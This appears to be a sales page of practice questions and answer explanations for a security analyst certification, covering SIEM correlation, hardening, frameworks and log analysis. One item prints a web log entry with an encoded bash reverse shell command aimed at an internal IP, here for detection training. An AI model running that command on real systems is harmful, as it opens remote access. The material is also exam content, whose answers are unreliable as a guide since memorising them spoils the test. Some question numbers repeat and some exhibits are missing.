A company suspects a coordinated effort to attack their platform. Web server logs show malicious activity from many different source IP addresses located in different countries. Which of the following will best help a security analyst identify the requests connected to this campaign?
A. Modify the web server logs to include the X-Forwarded-For header.
B. Create a custom SIEM query to integrate threat intel IoCs associated with the threat actor.
C. Enrich the web server request logs with full WHOIS data on all available sources.
D. Add GeoIP location for the source IP addresses to the log entries.
Show Answer
Correct Answer: B
Explanation: To identify which requests are part of the same coordinated attack campaign, the analyst needs correlation across indicators beyond raw source IPs. Integrating threat intelligence IoCs (e.g., known IPs, domains, user agents, payload patterns, TTPs) into a SIEM query allows grouping and linking disparate requests to the same threat actor or campaign. X-Forwarded-For only reveals original client IPs behind proxies, GeoIP only adds location context, and WHOIS enrichment provides ownership data—none of which effectively correlate activity into a campaign.
Question 31
A security analyst runs the following command:
Which of the following should the analyst recommend first to harden the system?
A. Disable all protocols that do not use encryption.
B. Configure client certificates for domain services.
C. Ensure that this system is behind a NGFW.
D. Deploy a publicly trusted root CA for secure websites.
Show Answer
Correct Answer: A
Explanation: The scan shows Telnet (23/tcp) is enabled, which is a plaintext protocol that transmits credentials and session data without encryption. This represents an immediate and high-risk exposure. The first hardening step should be to disable all non-encrypted protocols. The other options may add security layers, but they do not address the most critical existing vulnerability.
Question 32
A SOC analyst is reviewing the weekly EDR report. The report shows that the same application was blocked once every 24 hours. Which of the following tools should the analyst use to further investigate the incident?
A. Registry Editor
B. services.msc
C. Task Scheduler
D. MSConfig
Show Answer
Correct Answer: C
Explanation: An application being blocked once every 24 hours suggests it is being executed on a recurring schedule. Task Scheduler is the Windows tool used to create and manage scheduled tasks, making it the most appropriate place to investigate a process that runs at regular daily intervals. The other options manage configuration, services, or registry settings, not time-based execution.
Question 32
Which of the following explains the reason a security analyst would map an attack route?
A. To find critical paths that can be used to stop an adversary from advancing
B. To create an inventory of all IT assets to import into a database
C. To operationalize intelligence gathered from a previous step in the investigation
D. To categorize the tactics according to the MITRE ATT&CK framework
Show Answer
Correct Answer: A
Explanation: Mapping an attack route is used to understand how an adversary can progress through an environment and to identify critical paths or choke points where defensive controls can interrupt or stop that progression. It is not primarily for asset inventory, framework categorization, or merely recording intelligence, but for analyzing and disrupting adversary movement.
Question 33
A security analyst receives an alert with the following packet capture:
Which of the following conclusions should the analyst reach about this incident?
A. EnCase is enumerating a server.
B. A Nessus proxy is manipulating traffic.
C. An Nmap scan is occurring.
D. Metasploit is installing on a target.
Show Answer
Correct Answer: C
Explanation: The packet capture pattern of repeated TCP SYN probes to multiple ports followed by RST/ACK responses indicates a TCP SYN (half-open) port scan. This behavior is characteristic of Nmap scans used to enumerate open ports without completing the TCP handshake.
Question 33
Which of the following is best suited for determining the methods of an adversary?
A. ОWASP
B. Cyber Kill Chain
C. MITRE ATT&CK
D. Diamond Model of Intrusion Analysis
Show Answer
Correct Answer: C
Explanation: MITRE ATT&CK is specifically designed to catalog and describe adversary methods in detail. It organizes real-world observed behavior into tactics, techniques, and sub-techniques (TTPs), allowing defenders to understand exactly how adversaries operate. The other options are broader frameworks or models and do not enumerate adversary methods with the same level of specificity.
Question 34
An after-action review of a ransomware attack on a company identified deficiencies in responsiveness and consistency. Which of the following choices would best facilitate improvement of these deficiencies?
A. Leverage a SIEM.
B. Utilize threat intelligence sharing.
C. Source multiple threat feeds.
D. Implement SOAR.
Show Answer
Correct Answer: D
Explanation: The deficiencies identified were in responsiveness and consistency during incident handling. SOAR (Security Orchestration, Automation, and Response) directly addresses these gaps by automating response actions, enforcing standardized playbooks, and orchestrating workflows across security tools. This leads to faster, more consistent incident response. The other options primarily enhance detection or awareness, not response execution or procedural consistency.
Question 34
A security analyst notices multiple attempts of the same exploit being made on the perimeter network. The behavioral patterns indicate that a TCP SYN flood attack has been initiated, followed by a port scan of the company's public IP range. No other attacks are being performed from the actor's source IP address. All of the SYN flood attempts were thwarted by the firewall's stateful packet inspection engine. Which of the following is the most likely type of threat actor in this scenario?
A. Nation-state
B. Script kiddie
C. Advanced persistent threat
D. Organized crime
Show Answer
Correct Answer: B
Explanation: The activity described is basic, noisy, and unsophisticated: a simple TCP SYN flood followed by a port scan, all originating from a single source IP and easily blocked by standard stateful firewall inspection. There is no evidence of stealth, persistence, advanced tooling, coordination, or follow-on exploitation. These characteristics align with a script kiddie using readily available tools rather than a nation-state, APT, or organized crime group, which would typically employ more sophisticated, evasive, and goal-oriented techniques.
Question 35
A security analyst identifies the following log entry in the web server logs:
10.203.10.23 - - [22/May/2024 11:06:29] "GET /admin?cmd=bash+-i+>%26+/dev/tcp/10.20.10.22/1234+0%3E%261 http/1.1" 200 -
Which of the following best explains the log entry?
A. This was caused by an administrator logging in to a website using the command line.
B. This is a successful lateral movement abusing an RCE vulnerability.
C. This is a failed attack attempting to exploit an LFI vulnerability.
D. This was caused by a successful RFI vulnerability exploitation.
Show Answer
Correct Answer: B
Explanation: The log shows a GET request passing a shell command via a query parameter (`cmd=`). The decoded command (`bash -i >& /dev/tcp/10.20.10.22/1234 0>&1`) is a classic reverse shell, used to gain remote command execution. The HTTP 200 response suggests the request was processed successfully. This indicates exploitation of a remote code execution vulnerability, potentially enabling lateral movement, not LFI/RFI or legitimate admin activity.
Question 35
After several tabletop exercises, the cybersecurity team is underperforming against MTTR and MTTD. Which of the following would help the team achieve improved performance?
A. Alert volume
B. Impact analysis
C. Lessons learned
D. Compensating controls
Show Answer
Correct Answer: C
Explanation: Reviewing lessons learned from tabletop exercises identifies gaps in detection, response processes, tooling, and coordination. Applying those improvements directly reduces Mean Time to Detect (MTTD) and Mean Time to Respond/Recover (MTTR). The other options do not directly drive sustained performance improvement.
$19
Get all 528 questions with detailed answers and explanations
Instant download HTML + PDF delivered the moment payment clears.
Secure Stripe checkout we never see or store your card details.
7-day refund if files are defective see our refund policy.